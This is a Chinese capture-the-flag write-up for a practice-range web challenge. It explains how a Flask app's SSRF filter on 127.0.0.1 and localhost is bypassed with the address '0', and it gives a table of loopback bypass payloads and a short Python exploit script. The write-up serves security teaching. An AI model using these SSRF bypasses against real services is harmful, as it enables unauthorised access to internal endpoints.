CTF2 实践靶场 - Web - Python 里的 SSRF

题目信息

项 内容
比赛 CTF2 实践靶场(NU1L《从 0 到 1:CTFer 成长之路》配套题)
方向 Web(第 03 章 Web 进阶)
难度 Easy
环境 授权靶场(已脱敏)

漏洞类型:SSRF(Server-Side Request Forgery)。

信息收集

访问首页 / 返回:

1
url parameter is required

说明存在一个需要 url 参数的端点。访问题目描述提示的内部接口 /api/internal/secret:

1
your ip <内网地址> is not allowed

内网地址已脱敏:该接口只允许特定 IP(本机)访问,错误信息泄露了容器内网 IP。

说明该内部接口只允许特定 IP(本机)访问。

漏洞分析

SSRF 点确认

url 参数是一个 SSRF 点,服务端会请求用户提供的 URL。直接尝试:

1
/?url=http://127.0.0.1:8000/api/internal/secret

返回:

1
127.0.0.1 is forbidden

说明服务端对 SSRF 目标做了过滤,禁止访问 127.0.0.1 / localhost。

绕过过滤

测试多种 127.0.0.1 的绕过形式:

Payload 结果
http://127.0.0.1:8000/... 127.0.0.1 is forbidden
http://localhost:8000/... 127.0.0.1 is forbidden
http://2130706433:8000/...(十进制) 127.0.0.1 is forbidden
http://0x7f000001:8000/...(十六进制) 127.0.0.1 is forbidden
http://0177.0.0.1:8000/...(八进制) 127.0.0.1 is forbidden
http://127.1:8000/...(短形式) 127.0.0.1 is forbidden
http://localhost.:8000/...(尾点) 127.0.0.1 is forbidden
http://0:8000/api/internal/secret 成功返回 flag

关键绕过:http://0:8000/api/internal/secret

0 在 IP 解析中会被解释为 0.0.0.0,指向本机(所有网卡的统配地址),从而绕过了对 127.0.0.1 / localhost 的字符串过滤,服务端以本机身份访问了内部 8000 端口。

利用过程

  1. 由首页提示确认 url 参数,由内部接口报错确认存在仅本机可访问的 8000 端口服务。
  2. 直接打 127.0.0.1 被拦,判定为字符串黑名单。
  3. 穷举等价地址写法,发现 0 不被黑名单覆盖且解析为 0.0.0.0。
  4. 提交 url=http://0:8000/api/internal/secret,服务端以本机身份请求内部接口,返回 flag。

完整 EXP

1
2
3
4
5
6
import requests
r = requests.get(
"http://target:8080/",
params={"url": "http://0:8000/api/internal/secret"}
)
print(r.text) # flag{xxxx}

Flag

脱敏后:flag{xxxx}。原值为真实 flag 值,经 url=http://0:8000/api/internal/secret 触发 SSRF 从内部接口返回。

踩坑与总结

要点 说明
SSRF 点 Flask 应用 url 参数,服务端请求用户提供的 URL
过滤 禁止 127.0.0.1 / localhost 的字符串形式
绕过 0 → 0.0.0.0(本机统配地址),绕过字符串过滤
内部接口 8000 端口 /api/internal/secret,只允许本机 IP 访问
  1. 黑名单若只匹配字面量 127.0.0.1 / localhost,会漏掉 0 这类等价解析形式。
  2. 0、0.0.0.0 在多数 IP 解析中都指向本机,是 SSRF 绕过常用手法。
  3. 十进制、十六进制、八进制、短形式、尾点等已知写法被一一挡下,说明过滤是「枚举式」而非「解析后归一化」;用未列入的写法即可突破。
  4. 内网接口只允许本机访问的设计,配合 SSRF 反而成为「以服务端身份访问」的跳板。